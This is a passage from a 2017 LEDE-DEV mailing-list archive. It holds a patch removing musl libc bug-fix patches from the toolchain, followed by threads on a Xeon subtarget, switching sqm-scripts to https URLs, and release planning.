-Subject: fix gratuitous undefined behavior in strptime
-
-accessing an object of type const char *restrict as if it had type
-char * is not defined.
----
- src/time/strptime.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/src/time/strptime.c b/src/time/strptime.c
-index f41f55f..55c7ed1 100644
---- a/src/time/strptime.c
-+++ b/src/time/strptime.c
-@@ -22,8 +22,13 @@ char *strptime(const char *restrict s, const char *restrict f, struct tm *restri
- 		}
- 		f++;
- 		if (*f == '+') f++;
--		if (isdigit(*f)) w=strtoul(f, (void *)&f, 10);
--		else w=-1;
-+		if (isdigit(*f)) {
-+			char *new_f;
-+			w=strtoul(f, &new_f, 10);
-+			f = new_f;
-+		} else {
-+			w=-1;
-+		}
- 		adj=0;
- 		switch (*f++) {
- 		case 'a': case 'A':
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch b/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
deleted file mode 100644
index 3d9211c022..0000000000
--- a/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d184a09e0529f33d8ddddb8825039133483a2c41 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sun, 4 Sep 2016 04:46:00 +0200
-Subject: fix strtod and strtof rounding with many trailing zeros
-
-in certain cases excessive trailing zeros could cause incorrect
-rounding from long double to double or float in decfloat.
-
-e.g. in strtof("9444733528689243848704.000000", 0) the argument
-is 0x1.000001p+73, exactly halfway between two representible floats,
-this incorrectly got rounded to 0x1.000002p+73 instead of 0x1p+73,
-but with less trailing 0 the rounding was fine.
-
-the fix makes sure that the z index always points one past the last
-non-zero digit in the base 10^9 representation, this way trailing
-zeros don't affect the rounding logic.
----
- src/internal/floatscan.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/internal/floatscan.c b/src/internal/floatscan.c
-index eef70df..80305ee 100644
---- a/src/internal/floatscan.c
-+++ b/src/internal/floatscan.c
-@@ -172,6 +172,9 @@ static long double decfloat(FILE *f, int c, int bits, int emin, int sign, int po
- 			return sign * (long double)x[0] * p10s[rp-10];
- 	}
- 
-+	/* Drop trailing zeros */
-+	for (; !x[z-1]; z--);
-+
- 	/* Align radix point to B1B digit boundary */
- 	if (rp % 9) {
- 		int rpm9 = rp>=0 ? rp%9 : rp%9+9;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch b/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
deleted file mode 100644
index 1588b14658..0000000000
--- a/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 6ffdc4579ffb34f4aab69ab4c081badabc7c0a9a Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sun, 4 Sep 2016 04:51:03 +0200
-Subject: fix strtod int optimization in non-nearest rounding mode
-
-the mid-sized integer optimization relies on lnz set up properly
-to mark the last non-zero decimal digit, but this was not done
-if the non-zero digit lied outside the KMAX digits of the base
-10^9 number representation.
-
-so if the fractional part was a very long list of zeros (>2048*9 on
-x86) followed by non-zero digits then the integer optimization could
-kick in discarding the tiny non-zero fraction which can mean wrong
-result on non-nearest rounding mode.
-
-strtof, strtod and strtold were all affected.
----
- src/internal/floatscan.c | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/src/internal/floatscan.c b/src/internal/floatscan.c
-index 80305ee..ae09852 100644
---- a/src/internal/floatscan.c
-+++ b/src/internal/floatscan.c
-@@ -110,7 +110,10 @@ static long double decfloat(FILE *f, int c, int bits, int emin, int sign, int po
- 			gotdig=1;
- 		} else {
- 			dc++;
--			if (c!='0') x[KMAX-4] |= 1;
-+			if (c!='0') {
-+				lnz = (KMAX-4)*9;
-+				x[KMAX-4] |= 1;
-+			}
- 		}
- 	}
- 	if (!gotrad) lrp=dc;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch b/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
deleted file mode 100644
index 6db6fd8365..0000000000
--- a/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From bc1e7731cee963e422575f81048792f4d5db9641 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogal at ufl.edu>
-Date: Wed, 2 Nov 2016 22:29:36 -0400
-Subject: fix integer overflow of tm_year in __secs_to_tm
-
-the overflow check for years+100 did not account for the extra
-year computed from the remaining months. instead, perform this
-check after obtaining the final number of years.
----
- src/time/__secs_to_tm.c | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/src/time/__secs_to_tm.c b/src/time/__secs_to_tm.c
-index 3a3123a..093d902 100644
---- a/src/time/__secs_to_tm.c
-+++ b/src/time/__secs_to_tm.c
-@@ -60,15 +60,16 @@ int __secs_to_tm(long long t, struct tm *tm)
- 	for (months=0; days_in_month[months] <= remdays; months++)
- 		remdays -= days_in_month[months];
- 
-+	if (months >= 10) {
-+		months -= 12;
-+		years++;
-+	}
-+
- 	if (years+100 > INT_MAX || years+100 < INT_MIN)
- 		return -1;
- 
- 	tm->tm_year = years + 100;
- 	tm->tm_mon = months + 2;
--	if (tm->tm_mon >= 12) {
--		tm->tm_mon -=12;
--		tm->tm_year++;
--	}
- 	tm->tm_mday = remdays + 1;
- 	tm->tm_wday = wday;
- 	tm->tm_yday = yday;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch b/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
deleted file mode 100644
index a6e7c7f5b0..0000000000
--- a/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 7442442ccc665641a8827177e8e7ed45bbbd6584 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Mon, 7 Nov 2016 20:39:59 -0500
-Subject: fix swprintf internal buffer state and error handling
-
-the swprintf write callback never reset its buffer pointers, so after
-its 256-byte buffer filled up, it would keep repeating those bytes
-over and over in the output until the destination buffer filled up. it
-also failed to set the error indicator for the stream on EILSEQ,
-potentially allowing output to continue after the error.
----
- src/stdio/vswprintf.c | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/src/stdio/vswprintf.c b/src/stdio/vswprintf.c
-index 7d237ba..6eb2f6a 100644
---- a/src/stdio/vswprintf.c
-+++ b/src/stdio/vswprintf.c
-@@ -24,7 +24,14 @@ static size_t sw_write(FILE *f, const unsigned char *s, size_t l)
- 		c->ws++;
- 	}
- 	*c->ws = 0;
--	return i<0 ? i : l0;
-+	if (i < 0) {
-+		f->wpos = f->wbase = f->wend = 0;
-+		f->flags |= F_ERR;
-+		return i;
-+	}
-+	f->wend = f->buf + f->buf_size;
-+	f->wpos = f->wbase = f->buf;
-+	return l0;
- }
- 
- int vswprintf(wchar_t *restrict s, size_t n, const wchar_t *restrict fmt, va_list ap)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch b/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
deleted file mode 100644
index 50d23e5056..0000000000
--- a/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 4078a5c31fa67987051c2180db7a07702534032f Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Tue, 8 Nov 2016 18:03:42 -0500
-Subject: fix build regression on archs with variable page size
-
-commit 31fb174dd295e50f7c5cf18d31fcfd5fe5a063b7 used
-DEFAULT_GUARD_SIZE from pthread_impl.h in a static initializer,
-breaking build on archs where its definition, PAGE_SIZE, is not a
-constant. instead, just define DEFAULT_GUARD_SIZE as 4096, the minimal
-page size on any arch we support. pthread_create rounds up to whole
-pages anyway, so defining it to 1 would also work, but a moderately
-meaningful value is nicer to programs that use
-pthread_attr_getguardsize on default-initialized attribute objects.
----
- src/internal/pthread_impl.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/internal/pthread_impl.h b/src/internal/pthread_impl.h
-index 3890bb5..7a679db 100644
---- a/src/internal/pthread_impl.h
-+++ b/src/internal/pthread_impl.h
-@@ -143,7 +143,7 @@ void __block_app_sigs(void *);
- void __restore_sigs(void *);
- 
- #define DEFAULT_STACK_SIZE 81920
--#define DEFAULT_GUARD_SIZE PAGE_SIZE
-+#define DEFAULT_GUARD_SIZE 4096
- 
- #define __ATTRP_C11_THREAD ((void*)(uintptr_t)-1)
- 
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch b/toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
deleted file mode 100644
index c495d67e08..0000000000
--- a/toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
+++ /dev/null
@@ -1,197 +0,0 @@
-From e6683d001a95d7c3d4d992496f00f77e01fcd268 Mon Sep 17 00:00:00 2001
-From: Hauke Mehrtens <hauke at hauke-m.de>
-Date: Sun, 22 Nov 2015 15:04:23 +0100
-Subject: [PATCH v2] Add format attribute to some function declarations
-
-GCC and Clang are able to check the format arguments given to a
-function and warn the user if there is a error in the format arguments
-or if there is a potential uncontrolled format string security problem
-in the code. GCC does this automatically for some functions like
-printf(), but it is also possible to annotate other functions in a way
-that it will check them too. This feature is used by glibc for many
-functions. This patch adds the attribute to the some functions of musl
-expect for these functions where gcc automatically adds it.
-
-GCC automatically adds checks for these functions: printf, fprintf,
-sprintf, scanf, fscanf, sscanf, strftime, vprintf, vfprintf and
-vsprintf.
-
-The documentation from gcc is here:
-https://gcc.gnu.org/onlinedocs/gcc/Common-Function-Attributes.html
-
-The documentation from Clang is here:
-http://clang.llvm.org/docs/AttributeReference.html#format-gnu-format
-
-Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
----
- include/err.h      | 26 +++++++++++++++++---------
- include/monetary.h | 12 ++++++++++--
- include/stdio.h    | 29 ++++++++++++++++++++---------
- include/syslog.h   | 12 ++++++++++--
- 4 files changed, 57 insertions(+), 22 deletions(-)
-
---- a/include/err.h
-+++ b/include/err.h
-@@ -8,15 +8,23 @@
- extern "C" {
- #endif
- 
--void warn(const char *, ...);
--void vwarn(const char *, va_list);
--void warnx(const char *, ...);
--void vwarnx(const char *, va_list);
-+#if __GNUC__ >= 3
-+#define __fp(x, y) __attribute__ ((__format__ (__printf__, x, y)))
-+#else
-+#define __fp(x, y)
-+#endif
- 
--_Noreturn void err(int, const char *, ...);
--_Noreturn void verr(int, const char *, va_list);
--_Noreturn void errx(int, const char *, ...);
--_Noreturn void verrx(int, const char *, va_list);
-+void warn(const char *, ...) __fp(1, 2);
-+void vwarn(const char *, va_list) __fp(1, 0);
-+void warnx(const char *, ...) __fp(1, 2);
-+void vwarnx(const char *, va_list) __fp(1, 0);
-+
-+_Noreturn void err(int, const char *, ...) __fp(2, 3);
-+_Noreturn void verr(int, const char *, va_list) __fp(2, 0);
-+_Noreturn void errx(int, const char *, ...) __fp(2, 3);
-+_Noreturn void verrx(int, const char *, va_list) __fp(2, 0);
-+
-+#undef __fp
- 
- #ifdef __cplusplus
- }
---- a/include/monetary.h
-+++ b/include/monetary.h
-@@ -13,8 +13,16 @@ extern "C" {
- 
- #include <bits/alltypes.h>
- 
--ssize_t strfmon(char *__restrict, size_t, const char *__restrict, ...);
--ssize_t strfmon_l(char *__restrict, size_t, locale_t, const char *__restrict, ...);
-+#if __GNUC__ >= 3
-+#define __fsfm(x, y) __attribute__ ((__format__ (__strfmon__, x, y)))
-+#else
-+#define __fsfm(x, y)
-+#endif
-+
-+ssize_t strfmon(char *__restrict, size_t, const char *__restrict, ...) __fsfm(3, 4);
-+ssize_t strfmon_l(char *__restrict, size_t, locale_t, const char *__restrict, ...) __fsfm(4, 5);
-+
-+#undef __fsfm
- 
- #ifdef __cplusplus
- }
---- a/include/stdio.h
-+++ b/include/stdio.h
-@@ -21,6 +21,14 @@ extern "C" {
- 
- #include <bits/alltypes.h>
- 
-+#if __GNUC__ >= 3
-+#define __fp(x, y) __attribute__ ((__format__ (__printf__, x, y)))
-+#define __fs(x, y) __attribute__ ((__format__ (__scanf__, x, y)))
-+#else
-+#define __fp(x, y)
-+#define __fs(x, y)
-+#endif
-+
- #ifdef __cplusplus
- #define NULL 0L
- #else
-@@ -102,19 +110,19 @@ int puts(const char *);
- int printf(const char *__restrict, ...);
- int fprintf(FILE *__restrict, const char *__restrict, ...);
- int sprintf(char *__restrict, const char *__restrict, ...);
--int snprintf(char *__restrict, size_t, const char *__restrict, ...);
-+int snprintf(char *__restrict, size_t, const char *__restrict, ...) __fp(3, 4);
- 
- int vprintf(const char *__restrict, __isoc_va_list);
- int vfprintf(FILE *__restrict, const char *__restrict, __isoc_va_list);
- int vsprintf(char *__restrict, const char *__restrict, __isoc_va_list);
--int vsnprintf(char *__restrict, size_t, const char *__restrict, __isoc_va_list);
-+int vsnprintf(char *__restrict, size_t, const char *__restrict, __isoc_va_list) __fp(3, 0);
- 
- int scanf(const char *__restrict, ...);
- int fscanf(FILE *__restrict, const char *__restrict, ...);
- int sscanf(const char *__restrict, const char *__restrict, ...);
--int vscanf(const char *__restrict, __isoc_va_list);
--int vfscanf(FILE *__restrict, const char *__restrict, __isoc_va_list);
--int vsscanf(const char *__restrict, const char *__restrict, __isoc_va_list);
-+int vscanf(const char *__restrict, __isoc_va_list) __fs(1, 0);
-+int vfscanf(FILE *__restrict, const char *__restrict, __isoc_va_list) __fs(2, 0);
-+int vsscanf(const char *__restrict, const char *__restrict, __isoc_va_list) __fs(2, 0);
- 
- void perror(const char *);
- 
-@@ -135,8 +143,8 @@ int pclose(FILE *);
- int fileno(FILE *);
- int fseeko(FILE *, off_t, int);
- off_t ftello(FILE *);
--int dprintf(int, const char *__restrict, ...);
--int vdprintf(int, const char *__restrict, __isoc_va_list);
-+int dprintf(int, const char *__restrict, ...) __fp(2, 3);
-+int vdprintf(int, const char *__restrict, __isoc_va_list) __fp(2, 0);
- void flockfile(FILE *);
- int ftrylockfile(FILE *);
- void funlockfile(FILE *);
-@@ -175,8 +183,8 @@ int fileno_unlocked(FILE *);
- int getw(FILE *);
- int putw(int, FILE *);
- char *fgetln(FILE *, size_t *);
--int asprintf(char **, const char *, ...);
--int vasprintf(char **, const char *, __isoc_va_list);
-+int asprintf(char **, const char *, ...) __fp(2, 3);
-+int vasprintf(char **, const char *, __isoc_va_list) __fp(2, 0);
- #endif
- 
- #ifdef _GNU_SOURCE
-@@ -184,6 +192,9 @@ char *fgets_unlocked(char *, int, FILE *
- int fputs_unlocked(const char *, FILE *);
- #endif
- 
-+#undef __fp
-+#undef __fs
-+
- #if defined(_LARGEFILE64_SOURCE) || defined(_GNU_SOURCE)
- #define tmpfile64 tmpfile
- #define fopen64 fopen
---- a/include/syslog.h
-+++ b/include/syslog.h
-@@ -56,16 +56,22 @@ extern "C" {
- #define LOG_NOWAIT 0x10
- #define LOG_PERROR 0x20
- 
-+#if __GNUC__ >= 3
-+#define __fp(x, y) __attribute__ ((__format__ (__printf__, x, y)))
-+#else
-+#define __fp(x, y)
-+#endif
-+
- void closelog (void);
- void openlog (const char *, int, int);
- int setlogmask (int);
--void syslog (int, const char *, ...);
-+void syslog (int, const char *, ...) __fp(2, 3);
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define _PATH_LOG "/dev/log"
- #define __NEED_va_list
- #include <bits/alltypes.h>
--void vsyslog (int, const char *, va_list);
-+void vsyslog (int, const char *, va_list) __fp(2, 0);
- #if defined(SYSLOG_NAMES)
- #define	INTERNAL_NOPRI 0x10
- #define	INTERNAL_MARK (LOG_NFACILITIES<<3)
-@@ -93,6 +99,8 @@ typedef struct {
- #endif
- #endif
- 
-+#undef __fp
-+
- #ifdef __cplusplus
- }
- #endif
diff --git a/toolchain/musl/patches/400-fix_quoted_timezone.patch b/toolchain/musl/patches/400-fix_quoted_timezone.patch
deleted file mode 100644
index 79afa4a63b..0000000000
--- a/toolchain/musl/patches/400-fix_quoted_timezone.patch
+++ /dev/null
@@ -1,11 +0,0 @@
---- a/src/time/__tz.c
-+++ b/src/time/__tz.c
-@@ -87,7 +87,7 @@
- 	int i;
- 	if (**p == '<') {
- 		++*p;
--		for (i=0; **p!='>' && i<TZNAME_MAX; i++)
-+		for (i=0; (*p)[i]!='>' && i<TZNAME_MAX; i++)
- 			d[i] = (*p)[i];
- 		++*p;
- 	} else {
-- 
2.11.0



From philipp_subx at redfish-solutions.com  Mon Jan  2 15:41:38 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 16:41:38 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <84956450-1741-311f-6245-a94d697a3199@nbd.name>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
 <84956450-1741-311f-6245-a94d697a3199@nbd.name>
Message-ID: <A7CEB0B8-BCA1-41C4-A62C-24EFD574DEC0@redfish-solutions.com>


> On Jan 2, 2017, at 3:06 PM, Felix Fietkau <nbd at nbd.name> wrote:
> 
> On 2017-01-02 19:36, Philip Prindeville wrote:
>> Right, this is why I?m trying to create a new target (or subtarget)
>> called ?xeon? which is optimized for Xeon targets and leverages the
>> on-chip crypto-accelerators.
>> 
>> We?ve come a long way since the Athalon-64 (k8) in 2004.
> I think it should be easily possible to enable the crypto accelerator
> support by default, it probably gets enabled only on CPUs that actually
> support it.
> 
> If you still want to add a subtarget to use different CFLAGS, you need
> to prove (with hard numbers) that it has a meaningful impact and is more
> than just a potentially pointless micro-optimization.
> 
> - Felix


And I?d like to do that.

(a) we?d need to decide what benchmarks are meaningful? are the openssl encryption benchmarks sufficient?

(b) but even before that, it?s not clear that the CPU_TYPE target makefile machinery has ever worked correctly? so we?d need to remedy that.

-Philip



From nbd at nbd.name  Mon Jan  2 16:27:08 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 3 Jan 2017 01:27:08 +0100
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <A7CEB0B8-BCA1-41C4-A62C-24EFD574DEC0@redfish-solutions.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
 <84956450-1741-311f-6245-a94d697a3199@nbd.name>
 <A7CEB0B8-BCA1-41C4-A62C-24EFD574DEC0@redfish-solutions.com>
Message-ID: <53dc42cc-33d3-92e6-28bf-e7ba9889f0e7@nbd.name>

On 2017-01-03 00:41, Philip Prindeville wrote:
> And I?d like to do that.
> 
> (a) we?d need to decide what benchmarks are meaningful? are the openssl encryption benchmarks sufficient?
I think it's a good start. However, please make sure you have the same
encryption acceleration drivers enabled in both builds, so you're not
comparing apples to oranges. I've verified that the drivers don't depend
on selecting a specific CPU type, so they should work in generic kernel
images.

> (b) but even before that, it?s not clear that the CPU_TYPE target makefile machinery has ever worked correctly? so we?d need to remedy that.
You can set CFLAGS directly for testing if you want to.

- Felix


From philipp_subx at redfish-solutions.com  Mon Jan  2 16:57:03 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 17:57:03 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <20170102210506.23ff28ad@mir>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
 <20170102210506.23ff28ad@mir>
Message-ID: <DFA1D068-68C1-4917-B103-445158F7EF48@redfish-solutions.com>


> On Jan 2, 2017, at 1:05 PM, Stefan Lippers-Hollmann <s.L-H at gmx.de> wrote:
> 
> Hi
> 
> On 2017-01-02, Philip Prindeville wrote:
>>> On Jan 2, 2017, at 10:01 AM, Jo-Philipp Wich <jo at mein.io> wrote:
>>> 
>>> Hi,
>>> 
>>>> The x86/64/config-default is missing the following switches:
>>>> 
>>>> CONFIG_MCORE2=y  
> [...]
>> Right, this is why I?m trying to create a new target (or subtarget) called ?xeon? which is optimized for Xeon targets and leverages the on-chip crypto-accelerators.
> 
> This is just an optimization, but not actually needed to get the
> firmware running on your target CPU. While it may, or may not, provide
> measurable speedups, none of the large(r) binary distros consider this
> to be a necessary optimization, so why do you think it's necessary to
> provide just this tiny micro-optimization as a dedicated subtarget with
> all the overhead this entails - rather than just using as a local 
> configuration for your own builds?


There are several useful reasons to do so.

Because it may shake out some bugs in the x86_64 configuration or make machinery.

Because it may provide a useful example of how someone might optimize a build should they have a similar need in the future.

Because the low power Opteron, the Athalon-FX/2, Atom64, Core2/duo, and 5th gen Xeon processors have significant differences in pipeline depth and how many cycles it takes the ALU to settle after an overlapped operation, which has strong implications to how the code generator, optimizer, and peep-hole post-optimizer (in an optimizing loader) would emit code.

Lastly, because we?re not limited to committing this directly into the main tree? they could also go into ?targets? feed.



> 
>> We?ve come a long way since the Athalon-64 (k8) in 2004.
> 
> The situation on amd64/ x86_64 is quite a bit better than on i[3456]86,
> probably very little actually makes a difference for routing tasks
> (this could be different if LEDE would be a common basis for image
> or video transcoding, but I seriously doubt that optimizing for core2
> would actually make a significant difference on a router, especially
> considering that pretty much any amd64/ x86_64 CPU[1] is way more 
> powerful than any of the more prevalent routing architectures). I think 
> it would be useful to actually show the difference your change makes on 
> modern CPUs, before proactively introducing new subtargets for cosmetic 
> reasons.


Well, I?d be happy to try that, but first need to validate the build machinery? since we?ve only ever had one x86_64 target, it hasn?t been validated?  since it hasn?t been validated, that?s probably discouraged anyone from testing (and adding) any useful additional targets? so we have a circular dependency.

If you?re using a single server with several 802.11ac cards in it and point-to-point connections, you can easily get into several gigabits/sec worth of traffic.  Further, if you have multi-tenancy and per-customer SLA?s, you can get into some sophisticated shaping/policing scenarios, and it might be the case that an x86, while ?way more powerful than any of the more prevalent routing architectures?, is still going to be taxed as a software only solution (versus say a MIPS 7K with ASICs).



> 
> Regards
> 	Stefan Lippers-Hollmann
> 
> [1]	I'm quite convinced that even a 2003 vintage AMD64 Opteron from
> 	the first generation sledgehammer design wouldn't find its 
> 	limitations on the CPU side (unless you go beyond 1 GBit/s), but
> 	rather on the bus connection of your ethernet cards (old PCI 
> 	won't saturate a 1 GBit/s link).


And that?s the scenario I?m looking at: multiple connections each potentially significantly more than a gigabit per-second.

-Philip



From philipp_subx at redfish-solutions.com  Mon Jan  2 17:01:07 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Mon, 2 Jan 2017 18:01:07 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <AM3PR08MB06420891D33025E3F4E2FB62926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <6d8c1f95-9530-00d4-f9f0-6302c0c0d489@mein.io>
 <064D802D-D511-4A11-82E3-F6BFE78515B3@redfish-solutions.com>
 <AM3PR08MB06420891D33025E3F4E2FB62926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>
Message-ID: <2A7E73AB-E846-4B20-99EA-DE288E9E13E3@redfish-solutions.com>


> On Jan 2, 2017, at 1:38 PM, Alberto Bursi <alberto.bursi at outlook.it> wrote:
> 
> 
> 
> On 01/02/2017 07:36 PM, Philip Prindeville wrote:
>> 
>> 
>> Right, this is why I?m trying to create a new target (or subtarget) called ?xeon? which is optimized for Xeon targets and leverages the on-chip crypto-accelerators.
>> 
>> We?ve come a long way since the Athalon-64 (k8) in 2004.
>> 
>> -Philip
>> 
> 
> Wait a sec, what you mean exactly for "on chip crypto accelerators"?
> If you mean AES-NI there was already a discussion about that in the 
> mailing list, see here 
> http://lists.infradead.org/pipermail/lede-dev/2016-October/003545.html
> 
> -Alberto

No, not specifically for wireless, no.

I?m looking at IPsec and encrypted GRE usage cases.

-Philip




From nick at kamenyitzky.com.au  Mon Jan  2 17:02:55 2017
From: nick at kamenyitzky.com.au (Nick Kamenyitzky)
Date: Tue, 3 Jan 2017 12:02:55 +1100
Subject: [LEDE-DEV] sqm-scripts change GitHub link to https:// instead of
	git://
Message-ID: <CADRmKOja082oKxCRhai6J4rg=2kwC7vvKFpoAas05LA5F3wggg@mail.gmail.com>

Is there any reason that the sqm-scripts makefile has a git:// link
instead of a https:// link?  At my office git:// doesn't work but
https:// does.

Should this be something that is standardised or considered?



Kind Regards,

Nick Kamenyitzky

-------------------------------------------------------------------------
Email: nick at kamenyitzky.com.au
-------------------------------------------------------------------------


From richb.hanover at gmail.com  Mon Jan  2 17:50:55 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Mon, 2 Jan 2017 20:50:55 -0500
Subject: [LEDE-DEV] Release Planning - Current Status?
In-Reply-To: <b0b9a931-940f-d775-f0df-30e0d06ffc48@mein.io>
References: <B3085C37-04CF-4E7D-943F-1DBAB593AFB5@gmail.com>
 <b0b9a931-940f-d775-f0df-30e0d06ffc48@mein.io>
Message-ID: <600FB508-5688-4719-BC22-659661ABF544@gmail.com>

Hi Jo,

> there hasn't been much progress on the planning since I didn't follow
> any mails for the last week or so :)
> 
> I plan to factor in the various suggestions into the roadmap I initially
> posted and put the result into the wiki tomorrow.

Excellent! Once that's public, we can spread the word on the forums as needed.

> The idea is to have a definitive timeline until Friday so we can start
> branching and preparing builds.

Sounds good.

> I'm not totally sure whether we want to have a distinct RC phase (as in
> tagging RCs). The pre-release branch build artifacts can serve the same
> purpose and are reasonably stable - there should be no incompatible
> kmods every 24h in contrast to master builds as the kernel config will
> likely remain the same unless we really need to fix something there.

I have a few questions/concerns:

- Who are the people driving the release? Who makes the decisions about when to freeze features, to review bug reports, to branch, etc? (I care mostly that there is a decision-making process in place, not so much about the particular choices.)

- Your note directly addresses my worries about incompatibilities during testing. I think people hold off on testing a project because it's moving too quickly. A symptom of this is people who're complaining that they can't load package xyz today because their build from yesterday had all its underpinnings switched out overnight. 

- I believe we will see a step function in the number of people testing once we declare a version that will remain stable for a week or two, that can be opkg'd safely a couple days after the initial install. And given that it's a pain in the patootie for most people to flash their firmware (especially getting "clearance" from our spouses and children who rely on the router), these people will flock to try out LEDE once we cross that threshold.

- As someone who's trying to come up with a description of this ever-changing software status, I want to know that there'll be a "name" or a URL that I can use to refer people to that "stable" (stable-ish) build once we get a "release candidate" out.

- Has anyone been thinking about publicity for the release candidates and final? I envision an expanding circle of announcements for our release candidates: First to lede-dev and the forum. Later an announcement on the OpenWrt forum. And who's going to write the announcement for Slashdot? Do we need to buy another server first? :-) 

Thanks.

Rich

From champetier.etienne at gmail.com  Mon Jan  2 17:52:47 2017
From: champetier.etienne at gmail.com (Etienne Champetier)
Date: Mon, 2 Jan 2017 17:52:47 -0800
Subject: [LEDE-DEV] sqm-scripts change GitHub link to https:// instead
	of git://
In-Reply-To: <CADRmKOja082oKxCRhai6J4rg=2kwC7vvKFpoAas05LA5F3wggg@mail.gmail.com>
References: <CADRmKOja082oKxCRhai6J4rg=2kwC7vvKFpoAas05LA5F3wggg@mail.gmail.com>
Message-ID: <CAOdf3godocNX81sROgPHJVtWnEBGJnEiu47q424r2oiAxYgY4g@mail.gmail.com>

(forgot to send in plain text, sending again for the ML)

Hi Nick,

2017-01-02 17:02 GMT-08:00 Nick Kamenyitzky <nick at kamenyitzky.com.au>:
>
> Is there any reason that the sqm-scripts makefile has a git:// link
> instead of a https:// link?  At my office git:// doesn't work but
> https:// does.
>
> Should this be something that is standardised or considered?

We should default to https I think but in the mean time, git config
can solve your problem

git config --global url.https://github.com/.insteadOf git://github.com/

http://stackoverflow.com/a/11383587/7270974

Regards
Etienne

>
>
>
>
> Kind Regards,
>
> Nick Kamenyitzky
>
> -------------------------------------------------------------------------
> Email: nick at kamenyitzky.com.au
> -------------------------------------------------------------------------
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From philipp_subx at redfish-solutions.com  Mon Jan  2 20:32:10 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
